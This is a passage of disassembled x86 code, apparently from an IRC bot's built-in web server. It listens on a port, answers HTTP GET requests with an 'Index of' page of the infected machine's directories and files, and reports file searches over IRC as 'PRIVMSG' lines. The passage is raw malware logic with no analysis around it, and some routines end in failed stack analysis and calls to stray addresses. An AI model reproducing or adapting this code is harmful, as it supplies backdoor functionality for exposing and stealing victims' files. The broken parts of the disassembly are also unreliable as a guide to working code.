var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB9D4
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FEC1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
push 7FFFFFFFh
push edi
call dword_4CB9FC
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CBA70
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB9BC
cmp eax, 0FFFFFFFFh
jz loc_40FEBC
xor esi, esi
mov [ebp+var_4], esi
loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB8C0
test eax, eax
jz loc_40FEA7
cmp esi, [ebp+var_C]
jnz short loc_40FC65
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CBA68
cmp eax, 0FFFFFFFFh
jz loc_40FEA7
xor ecx, ecx
test ebx, ebx
jbe short loc_40FC37
lea edx, [ebp+var_134]
loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj
cmp [edx], eax
jz short loc_40FC37
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FC2B
loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj
; sub_40FAD6+157j
cmp ecx, ebx
jnz short loc_40FC54
cmp ebx, 40h
jnb short loc_40FC54
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC54: ; CODE XREF: sub_40FAD6+163j
; sub_40FAD6+168j
cmp eax, [ebp+var_8]
jbe loc_40FEA7
mov [ebp+var_8], eax
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FC65: ; CODE XREF: sub_40FAD6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB9EC
test eax, eax
jg short loc_40FCF8
push esi
call dword_4CBA6C
xor ecx, ecx
test ebx, ebx
jbe loc_40FEA7
lea eax, [ebp+var_134]
loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj
cmp [eax], esi
jz short loc_40FCC8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FCB7
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCEC
lea eax, [ebp+ecx*4+var_134]
loc_40FCD6: ; CODE XREF: sub_40FAD6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCD6
loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BF70
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jbe loc_40FEA7
loc_40FD26: ; CODE XREF: sub_40FAD6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FDCB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD9F
lea eax, [ebp+var_18F0]
push eax
call sub_41B9C0
cmp eax, 5
pop ecx
jbe short loc_40FD9F
mov eax, offset asc_42CDC0 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41CAD4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C890
add esp, 10h
jmp short loc_40FDB6
; ---------------------------------------------------------------------------
loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj
; sub_40FAD6+291j
lea eax, [ebp+var_18F0]
push offset asc_4349EC ; "\r\n"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40FDEA
loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FDCB: ; CODE XREF: sub_40FAD6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FD26
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE34
lea eax, [ebp+var_134]
loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE07
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDF6
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE07: ; CODE XREF: sub_40FAD6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FE2B
lea eax, [ebp+ecx*4+var_134]
loc_40FE15: ; CODE XREF: sub_40FAD6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE15
loc_40FE2B: ; CODE XREF: sub_40FAD6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE34: ; CODE XREF: sub_40FAD6+318j
mov esi, [ebp+var_4]
loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj
; sub_40FAD6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FEA0
lea eax, [ebp+var_360]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FEA0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CBA70
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4100B4
add esp, 14h
jmp short loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FEA0: ; CODE XREF: sub_40FAD6+369j
; sub_40FAD6+38Fj
push esi
call dword_4CBA6C
loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj
; sub_40FAD6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBE3
jmp loc_40FBAD
; ---------------------------------------------------------------------------
loc_40FEBC: ; CODE XREF: sub_40FAD6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj
; sub_40FAD6+92j ...
call dword_4CB968
push eax
lea eax, [ebp+var_8F0]
push offset unk_4349C4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF07
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409869
add esp, 14h
loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_254]
call sub_40B6D6
pop ecx
push ebx
call near ptr 2720000h
nop
pop edi
pop esi
pop ebx
sub_40FAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40FF97
push offset aTextHtml ; "text/html"
jmp short loc_40FF9C
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40FF31+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF9C: ; CODE XREF: sub_40FF31+64j
lea eax, [ebp+var_9C]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2780000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 2770000h
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410015
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 24h
jmp short loc_410036
; ---------------------------------------------------------------------------
loc_410015: ; CODE XREF: sub_40FF31+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 28h
loc_410036: ; CODE XREF: sub_40FF31+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
loc_41004C: ; DATA XREF: ___:004385A8o
; ___:004385BCo
push [ebp+var_44C]
call dword_4CBA24
cmp [ebp+var_A4], edi
jnz short loc_410076
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4109F1
pop ecx
pop ecx
jmp short loc_410093
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FF31+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41036B
add esp, 10h
loc_410093: ; CODE XREF: sub_40FF31+143j
push [ebp+var_44C]
call dword_4CBA6C
push [ebp+var_B4]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 2720000h
pop edi
pop esi
sub_40FF31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BF70
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100EA
push eax
push offset aS_3 ; "\\%s"
jmp short loc_4100F3
; ---------------------------------------------------------------------------
loc_4100EA: ; CODE XREF: sub_4100B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_4100F3: ; CODE XREF: sub_4100B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41018E
mov [ebp+arg_8], 2
loc_41011E: ; CODE XREF: sub_4100B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41B9C0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41015E
cmp [ebp+esi+var_10C], 25h
jnz short loc_41015E
cmp [ebp+esi+var_10B], 32h
jnz short loc_41015E
cmp [ebp+esi+var_10A], 30h
jnz short loc_41015E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410178
; ---------------------------------------------------------------------------
loc_41015E: ; CODE XREF: sub_4100B4+7Aj
; sub_4100B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_41016E
push 5Ch
pop eax
jmp short loc_410171
; ---------------------------------------------------------------------------
loc_41016E: ; CODE XREF: sub_4100B4+B3j
movsx eax, al
loc_410171: ; CODE XREF: sub_4100B4+B8j
mov [ebp+ebx+var_210], al
loc_410178: ; CODE XREF: sub_4100B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_41011E
loc_41018E: ; CODE XREF: sub_4100B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429AC8
push eax
call sub_41C266
lea eax, [ebp+var_314]
push offset asc_42A080 ; "\n"
push eax
call sub_41CAD4
add esp, 18h
lea eax, [ebp+var_314]
push eax
nop
call near ptr 26D0477h
push 1
cmp eax, 10h
pop esi
jz short loc_4101DF
cmp eax, 0FFFFFFFFh
jnz short loc_4101E2
push [ebp+arg_0]
jmp loc_410262
; ---------------------------------------------------------------------------
loc_4101DF: ; CODE XREF: sub_4100B4+11Cj
mov [ebp+var_4], esi
loc_4101E2: ; CODE XREF: sub_4100B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101EF
mov [ebp+var_4], esi
loc_4101EF: ; CODE XREF: sub_4100B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_41026D
cmp [ebp+arg_C], edi
jz short loc_410261
lea eax, [ebp+var_314]
push offset asc_434C78 ; "*"
push eax
call sub_41C8A0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
lea eax, [ebp+var_210]
push eax
call sub_410AAE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C266
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4102BC
; ---------------------------------------------------------------------------
loc_410261: ; CODE XREF: sub_4100B4+152j
push ebx
loc_410262: ; CODE XREF: sub_4100B4+126j
call dword_4CBA6C
jmp loc_410364
; ---------------------------------------------------------------------------
loc_41026D: ; CODE XREF: sub_4100B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 2740762h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4102BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 2780B67h
push esi
mov [ebp+var_330], eax
nop
call near ptr 26A0000h
loc_4102BC: ; CODE XREF: sub_4100B4+1ABj
; sub_4100B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_434C44
push eax
call sub_41C266
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B3BA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E914[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FF31
push edi
push edi
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_410336
loc_410324: ; CODE XREF: sub_4100B4+280j
cmp [ebp+var_318], edi
jnz short loc_410364
push 5
nop
call near ptr 26C04BFh
jmp short loc_410324
; ---------------------------------------------------------------------------
loc_410336: ; CODE XREF: sub_4100B4+26Ej
push ebx
call dword_4CBA6C
call near ptr 26C0CC8h
nop
push eax
lea eax, [ebp+var_8C4]
push offset unk_434C0C
push eax
call sub_41C266
lea eax, [ebp+var_8C4]
push eax
call sub_415D38
add esp, 10h
loc_410364: ; CODE XREF: sub_4100B4+1B4j
; sub_4100B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4100B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p
; sub_40FF31+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BF70
mov edi, [ebp+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41CAD4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4103CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_4104C9
; ---------------------------------------------------------------------------
loc_4103CA: ; CODE XREF: sub_41036B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4104AF
call sub_41B9C0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push edi
call sub_41B9C0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_41036B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
loc_4104C9: ; CODE XREF: sub_41036B+5Aj
; sub_41036B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
cmp [ebp+arg_C], ebx
jz short loc_410564
push [ebp+arg_C]
call sub_41B9C0
cmp eax, 2
pop ecx
jbe short loc_410564
push [ebp+arg_C]
call sub_41B9C0
sub eax, 3
pop ecx
jz short loc_410515
loc_410509: ; CODE XREF: sub_41036B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410515
dec eax
jnz short loc_410509
loc_410515: ; CODE XREF: sub_41036B+19Cj
; sub_41036B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BFD0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
loc_410564: ; CODE XREF: sub_41036B+180j
; sub_41036B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 27B0000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 27A0000h
test eax, eax
jz loc_410954
mov edi, 1FFh
loc_410590: ; CODE XREF: sub_41036B+5E3j
cmp [ebp+var_388], ebx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 279072Bh
nop
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
nop
call near ptr 2790000h
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_410605
mov ecx, offset aAm ; "AM"
loc_410605: ; CODE XREF: sub_41036B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410611
sub eax, 0Ch
loc_410611: ; CODE XREF: sub_41036B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C266
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4107B4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410685
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_4108FD
; ---------------------------------------------------------------------------
loc_410685: ; CODE XREF: sub_41036B+2E0j
cmp [ebp+arg_C], ebx
jz loc_41076F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410725
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_41072A
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: sub_41036B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_41072A: ; CODE XREF: sub_41036B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108FE
; ---------------------------------------------------------------------------
loc_41076F: ; CODE XREF: sub_41036B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107B4: ; CODE XREF: sub_41036B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107F3
push ebx
push [ebp+var_368]
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4107DF: ; CODE XREF: sub_41036B+577j
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 1Ch
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107F3: ; CODE XREF: sub_41036B+44Fj
cmp [ebp+arg_C], ebx
jz loc_4108E7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429AC8
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Fh
